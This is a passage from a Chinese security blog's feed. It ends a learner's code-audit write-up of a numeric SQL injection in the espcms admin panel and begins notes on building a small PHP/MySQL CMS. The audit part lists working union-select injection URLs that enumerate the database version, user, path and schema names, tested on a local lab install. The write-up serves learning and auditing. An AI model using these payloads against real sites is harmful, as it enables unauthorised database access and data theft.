	    &lt;span class=&quot;s1&quot;&gt;'subjectmanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'templatemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'typemanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'mobliemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'smsmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;admin_ROOT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;adminfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/control/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Access error!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;admin_ROOT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;adminfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/control/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$control&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;important&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'on'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;method_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$control&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$control&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'错误：系统方法错误！'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Access error!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

可以看出：

&lt;code class=&quot;highlighter-rouge&quot;&gt;$archive&lt;/code&gt;  变量的取值范围是 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/control&lt;/code&gt; 下的文件名，默认为 &lt;code class=&quot;highlighter-rouge&quot;&gt;adminuser&lt;/code&gt;。

&lt;code class=&quot;highlighter-rouge&quot;&gt;$action&lt;/code&gt; 变量的值，在其前加上 &lt;code class=&quot;highlighter-rouge&quot;&gt;on&lt;/code&gt; 就是上述文件里的函数名，默认为 &lt;code class=&quot;highlighter-rouge&quot;&gt;login&lt;/code&gt;。

所以，在管理员未登陆的情况下，自动跳转地址里的参数就是按照这两个默认值来设置的，即 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/index.php?archive=adminuser&amp;amp;action=login&lt;/code&gt;。

按照这个规律，我们尝试来触发 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/control/citylist.php&lt;/code&gt; 里的 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数。 构造 URL 为：

&lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&lt;/code&gt;

访问该地址，结果如下：

&lt;!-- ![1524212250660](attaches/1524212250660.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524212250660.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

可以看到，成功调用了 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数，说明上述规律是正确的，结合前面漏洞原理的分析结果，尝试把 &lt;code class=&quot;highlighter-rouge&quot;&gt;parentid&lt;/code&gt; 这个变量作为参数加入到 URL 里，其值先取数字 1。URL 为：

&lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1&lt;/code&gt;

访问该地址，结果如下：

&lt;!-- ![1524212676068](attaches/1524212676068.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524212676068.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

结果好像没有变化，修改 &lt;code class=&quot;highlighter-rouge&quot;&gt;parentid&lt;/code&gt; 的值为数字 2 再访问。

&lt;!-- ![1524212806791](attaches/1524212806791.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524212806791.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

可以看到，只是显示“北京”，多次尝试后，可以知道这个参数表示省份，1 为所有的省，2 为北京，3 为安徽等等，查询的结果就是相应省份下面的市。

至此，我们已经触发了&lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/control/citylist.php&lt;/code&gt; 里的 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数，并能够加上查询条件参数 &lt;code class=&quot;highlighter-rouge&quot;&gt;parentid&lt;/code&gt;。

&lt;h3 id=&quot;0x04-漏洞利用&quot;&gt;0x04 漏洞利用&lt;/h3&gt;

下面开始尝试 SQL 注入。

&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1'&lt;/code&gt;

&lt;!-- ![1524213359695](attaches/1524213359695.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524213359695.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1 and 1=1&lt;/code&gt;

&lt;!-- ![1524214217167](attaches/1524214217167.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524214217167.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1 and 1=2&lt;/code&gt;

&lt;!-- ![1524214297384](attaches/1524214297384.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524214297384.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

构造 3 个 &lt;code class=&quot;highlighter-rouge&quot;&gt;parentid&lt;/code&gt; 的值，验证了漏洞存在。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1'
// 加引号后，报错

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1 and 1=1
// 和 parentid=1 的结果一致

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1 and 1=2
// 因为查询条件为 False，没有结果

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

通过 order by 或 union select 来获取一些数据库信息。需要注意的是，在拼接的查询中，不能有引号、反斜线等字符，会被转义成前面加上反斜线的形式。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=1 order by 6
// 当尝试到 order by 6 后，返回出错信息，说明数据表为5列

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=-1 union select 1,2,3,4,5
// 显示 3，说明 parentid 是表的第 3 列

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=-1 union select 1,2,version(),4,5
// 修改 3 为要获取的信息

数据库版本：version() 
当前 MySQL 用户： user()
当前数据库名： database()
数据库路径： @@datadir
操作系统版本： @@version_compile_os
获取所有数据库名：
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&amp;amp;action=citylist&amp;amp;parentid=-1 union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

这里就简单列了下常用的注入语句，更多的注入语句，考虑单独写一篇笔记进行总结。

利用 MySQL 的客户端查询下数据表结构，验证下上面的结果。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; desc espcms_city;
+------------+----------------------+------+-----+---------+----------------+
| Field      | Type                 | Null | Key | Default | Extra          |
+------------+----------------------+------+-----+---------+----------------+
| id         | smallint(5) unsigned | NO   | PRI | NULL    | auto_increment |
| parentid   | smallint(5) unsigned | NO   | MUL | 0       |                |
| cityname   | varchar(120)         | NO   |     | NULL    |                |
| regiontype | tinyint(1)           | NO   | MUL | 2       |                |
| agencyid   | smallint(5) unsigned | NO   | MUL | 0       |                |
+------------+----------------------+------+-----+---------+----------------+
5 rows in set (0.04 sec)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

至此，这次简单的代码审计就算告一段落，针对这个版本的 espcms，还可以学习其他一些漏洞的代码审计知识。根据 Seay 的自动审计结果，除了 SQL 注入外，还有一些文件包含、任意文件读取、命令执行等漏洞，每个漏洞的审计都要详细，有结果，一点点积累。在代码审计和渗透测试领域，只有积累足够多的细节才能用简单的思路去做更复杂的事情。

&lt;h2 id=&quot;总结&quot;&gt;总结&lt;/h2&gt;

完成了 espcms 一个简单 SQL 注入漏洞的代码审计知识学习和实践，总结下做过的工作。

&lt;ul&gt;
  &lt;li&gt;在本地搭建靶机环境，用 phpStudy 能快速构建 PHP +MySQL 的环境，切换不同版本，结合 Sublime 就可以有一个便捷的 PHP 开发环境。&lt;/li&gt;
  &lt;li&gt;这次审计的思路采取的是，检查敏感关键字的参数，回溯参数变量传递过程，判断变量是否可控，有没有经过转义和过滤等安全检查。用 Seay 审计系统自动检查 select 语句的条件参数，匹配到参数没有用引号进行保护，存在 SQL 注入风险；回溯条件参数变量，发现经过反斜线转义和脚本标签过滤等安全检查；由于变量不在引号内，只要构造的注入语句不用到引号、反斜线、脚本标签等字符，就可以进行 SQL 注入。&lt;/li&gt;
  &lt;li&gt;结合自动化代码审计工具，采用匹配敏感函数或 SQL 语句关键字，逆向追踪回溯参数的审计思路，能够快速的发现常规性的漏洞。但不利于从全局发现整个系统存在的逻辑问题。&lt;/li&gt;
&lt;/ul&gt;

因为不太会 PHP 编程语言，花了很多时间来理解代码，也花了很长时间来做学习笔记。虽然漏洞很简单，而且参考了别人的思路，但这算是自己第一个完成的代码审计工作，有了第一个，我想就会有第二个。完整的学习笔记，对初学者来说，也是一个很好的参考资料。

&lt;h2 id=&quot;参考&quot;&gt;参考&lt;/h2&gt;

&lt;a href=&quot;https://sosly.me/index.php/2018/04/03/php_daimashenji2&quot;&gt;PHP代码审计菜鸟笔记&lt;/a&gt;   &lt;em&gt;sosly 菜鸟笔记&lt;/em&gt;

</description>
        <pubDate>Sun, 22 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://6xian.github.io/2018/04/22/codes-audit-basic-espcms-numeric-sqli/</link>
        <guid isPermaLink="true">https://6xian.github.io/2018/04/22/codes-audit-basic-espcms-numeric-sqli/</guid>
        
        <category>codes-audit</category>
        
        <category>espcms</category>
        
        <category>sql-injection</category>
        
        <category>seay</category>
        
        
        <category>codes-audit</category>
        
      </item>
    
      <item>
        <title>[Build a CMS in an Afternoon with PHP and MySQL]-学习笔记</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#知识点&quot; id=&quot;markdown-toc-知识点&quot;&gt;知识点：&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#环境准备&quot; id=&quot;markdown-toc-环境准备&quot;&gt;环境准备&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#cms-功能&quot; id=&quot;markdown-toc-cms-功能&quot;&gt;CMS 功能&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#实现步骤&quot; id=&quot;markdown-toc-实现步骤&quot;&gt;实现步骤&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-1-create-the-database&quot; id=&quot;markdown-toc-step-1-create-the-database&quot;&gt;Step 1: Create the database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-2-create-the-articles-database-table&quot; id=&quot;markdown-toc-step-2-create-the-articles-database-table&quot;&gt;Step 2: Create the articles database table&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-3-make-a-configuration-file&quot; id=&quot;markdown-toc-step-3-make-a-configuration-file&quot;&gt;Step 3: Make a configuration file&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-4-build-the-article-class&quot; id=&quot;markdown-toc-step-4-build-the-article-class&quot;&gt;Step 4: Build the Article class&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-5-write-the-front-end-indexphp-script&quot; id=&quot;markdown-toc-step-5-write-the-front-end-indexphp-script&quot;&gt;Step 5: Write the front-end &lt;code class=&quot;highlighter-rouge&quot;&gt;index.php&lt;/code&gt; script&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-6-write-the-back-end-adminphp-script&quot; id=&quot;markdown-toc-step-6-write-the-back-end-adminphp-script&quot;&gt;Step 6: Write the back-end &lt;code class=&quot;highlighter-rouge&quot;&gt;admin.php&lt;/code&gt; script&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-7-create-the-front-end-templates&quot; id=&quot;markdown-toc-step-7-create-the-front-end-templates&quot;&gt;Step 7: Create the front-end templates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-8-create-the-back-end-templates&quot; id=&quot;markdown-toc-step-8-create-the-back-end-templates&quot;&gt;Step 8: Create the back-end templates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#step-9-create-the-stylesheet-and-logo-image&quot; id=&quot;markdown-toc-step-9-create-the-stylesheet-and-logo-image&quot;&gt;Step 9: Create the stylesheet and logo image&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#all-done&quot; id=&quot;markdown-toc-all-done&quot;&gt;All done!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

这是一篇学习 &lt;a href=&quot;https://www.elated.com/articles/cms-in-an-afternoon-php-mysql/&quot;&gt;“Build a CMS in an Afternoon with PHP and MySQL”&lt;/a&gt; 的笔记，目的是学习如何用 &lt;code class=&quot;highlighter-rouge&quot;&gt;PHP + MySQL&lt;/code&gt; 进行简单的项目开发，为 PHP 代码审计打下基础。

原文：

&lt;a href=&quot;http://www.elated.com/articles/cms-in-an-afternoon-php-mysql/&quot;&gt;Build a CMS in an Afternoon with PHP and MySQL&lt;/a&gt;

&lt;a href=&quot;http://www.elated.com/&quot;&gt;All code copyright Elated Communications Ltd 2011.&lt;/a&gt;

我把原文的代码敲了一遍，放在自己的 Github 里，叫做 mini-cms-article。除了学习用 PHP + MySQL 搭建一个简单的 CMS 之外，也是学习熟悉一些 Git 的操作。

&lt;h2 id=&quot;知识点&quot;&gt;知识点：&lt;/h2&gt;

&lt;blockquote&gt;
  Along the way, you’ll learn how to create MySQL databases and tables; how to work with PHP objects, constants, includes, sessions, and other features; how to separate business logic from presentation; how to make your PHP code more secure, and much more!
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;创建数据库和数据库表&lt;/li&gt;
  &lt;li&gt;数据库查询、插入、更新、删除等&lt;/li&gt;
  &lt;li&gt;PHP 对象、常量、包含、会话等&lt;/li&gt;
  &lt;li&gt;分离业务逻辑和页面展示&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;环境准备&quot;&gt;环境准备&lt;/h2&gt;

&lt;blockquote&gt;
  For this tutorial, you’ll need to have the Apache web server with PHP installed, as well as the MySQL database server running on your computer.
&lt;/blockquote&gt;

关于 Apache + PHP + MySQL，Windows 下推荐用 phpStudy 或者 XAMPP。phpStudy 有个“站点域名管理”的功能，能够在不同目录，不同域名和端口下灵活部署多个站点。

PHP 版本：php-5.3.29-nts

MySQL 版本：5.5.53

&lt;h2 id=&quot;cms-功能&quot;&gt;CMS 功能&lt;/h2&gt;

该 CMS 实现了简单的文章显示、编辑和管理功能，但是只有管理员 1 个账户，可以考虑增加多用户、文章评论等功能，类似博客。

前端：

&lt;ul&gt;
  &lt;li&gt;主页，显示 5 篇最近的文章&lt;/li&gt;
  &lt;li&gt;文章列表页面，显示所有文章&lt;/li&gt;
  &lt;li&gt;文章查看页面，显示文章内容&lt;/li&gt;
&lt;/ul&gt;

后端：

&lt;ul&gt;
  &lt;li&gt;管理登录和登出&lt;/li&gt;
  &lt;li&gt;列出所有文章&lt;/li&gt;
  &lt;li&gt;增加新的文章&lt;/li&gt;
  &lt;li&gt;编辑文章&lt;/li&gt;
  &lt;li&gt;删除文章&lt;/li&gt;
&lt;/ul&gt;

每篇文章列表会显示标题、摘要和发布时间。

&lt;h2 id=&quot;实现步骤&quot;&gt;实现步骤&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Create the database (articlescms)&lt;/li&gt;
  &lt;li&gt;Create the articles database table  (articles)&lt;/li&gt;
  &lt;li&gt;Make a configuration file  (config.php)&lt;/li&gt;
  &lt;li&gt;Build the Article class  (classes/Article.php)&lt;/li&gt;
  &lt;li&gt;Write the front-end index.php script&lt;/li&gt;
  &lt;li&gt;Write the back-end admin.php script&lt;/li&gt;
  &lt;li&gt;Create the front-end templates&lt;/li&gt;
  &lt;li&gt;Create the back-end templates&lt;/li&gt;
  &lt;li&gt;Create the stylesheet and logo image&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
  Ready? Grab a cup of coffee, and let’s get coding!
&lt;/blockquote&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-18-note-of-a-mini-cms/demo-cms.jpg&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;step-1-create-the-database&quot;&gt;Step 1: Create the database&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    Run the mysql client program

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator
λ mysql -u root -p 
Enter password:  ****
   
Welcome to the M ySQL monitor.  Commands end with ; or  \g.
Your MySQL conne ction id i s  2
Server version:  5.5.53 MyS QL  Community Server ( GPL)
Copyright (c) 20 00, 2016,  Or acle  and/or its aff iliates. All rights  reserved.
Oracle is a r egistered trademark of Oracle Corporation and/or  its 
affiliates. O ther  names may be trademarks of their  respective
owners. 
Type 'h elp;' or '\h' for help. Type '\c' to clear the current input  stateme nt.   
mysql&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    Create the database
  &lt;/li&gt;
  &lt;li&gt;
    Quit the mysql client program

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; create database articlescms;
Query OK, 1 row affected (0.02 sec)
 
 mysql&amp;gt; use articlescms;
 Database changed
 mysql&amp;gt; exit
 Bye
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;step-2-create-the-articles-database-table&quot;&gt;Step 2: Create the articles database table&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Create the articles table&lt;/li&gt;
  &lt;li&gt;Give each article a unique ID&lt;/li&gt;
  &lt;li&gt;Add the publicationDate field&lt;/li&gt;
  &lt;li&gt;Add the title field&lt;/li&gt;
  &lt;li&gt;Add the summary and content fields&lt;/li&gt;
  &lt;li&gt;Add the primary key&lt;/li&gt;
&lt;/ol&gt;

articles 表的结构如下：

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DROP TABLE IF EXISTS articles;
CREATE TABLE articles
(
  id              smallint unsigned NOT NULL auto_increment,
  publicationDate date NOT NULL,                              # When the article was published
  title           varchar(255) NOT NULL,                      # Full title of the article
  summary         text NOT NULL,                              # A short summary of the article
  content         mediumtext NOT NULL,                        # The HTML content of the article

  PRIMARY KEY     (id)
);

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

每篇文章包括 id，发布时间，标题，摘要，内容等 5 个属性。

id 为主键，类型为 smallint unsigned，值不能为空，值是唯一的，并自动增加。每个表只能有一个主键，用来标识表中的各项记录。

新建 tables.sql，内容如上表，在 articlescms 数据库中创建该表。

命令如下：

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d:\myProjects
λ cd mini-cms-article\

d:\myProjects\mini-cms-article
λ ls tables.sql
tables.sql

d:\myProjects\mini-cms-article
λ mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  
...

mysql&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| articlescms        |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
| zvuldrill          |
+--------------------+
8 rows in set (0.00 sec)

mysql&amp;gt; use articlescms;
Database changed
mysql&amp;gt; source tables.sql;
Query OK, 0 rows affected, 1 warning (0.31 sec)

Query OK, 0 rows affected (0.08 sec)

mysql&amp;gt; desc articles;
+-----------------+----------------------+------+-----+---------+----------------+
| Field           | Type                 | Null | Key | Default | Extra          |
+-----------------+----------------------+------+-----+---------+----------------+
| id              | smallint(5) unsigned | NO   | PRI | NULL    | auto_increment |
| publicationDate | date                 | NO   |     | NULL    |                |
| title           | varchar(255)         | NO   |     | NULL    |                |
| summary         | text                 | NO   |     | NULL    |                |
| content         | mediumtext           | NO   |     | NULL    |                |
+-----------------+----------------------+------+-----+---------+----------------+
5 rows in set (0.01 sec)

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

或者

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d:\myProjects\mini-cms-article
λ mysql -u root -p articlescms &amp;lt; tables.sql
Enter password: ****
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;step-3-make-a-configuration-file&quot;&gt;Step 3: Make a configuration file&lt;/h2&gt;

配置文件存储一些设置，用于整个 CMS 的所有脚本。

&lt;ol&gt;
  &lt;li&gt;Display errors in the browser&lt;/li&gt;
  &lt;li&gt;Set the timezones&lt;/li&gt;
  &lt;li&gt;Set the database access details&lt;/li&gt;
  &lt;li&gt;Set the paths&lt;/li&gt;
  &lt;li&gt;Set the number of articles to display on the homepage&lt;/li&gt;
  &lt;li&gt;Set the admin username and password&lt;/li&gt;
  &lt;li&gt;Include the  Article class&lt;/li&gt;
  &lt;li&gt;Create an exception handler&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ini_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;display_errors&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 在浏览器上显示错误信息。
&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;date_default_timezone_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Asia/Shanghai&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 设置时区 http://www.php.net/manual/en/timezones.php
&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DB_DSN&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mysql:host=localhost;dbname=articlescms&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DB_USERNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;username&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
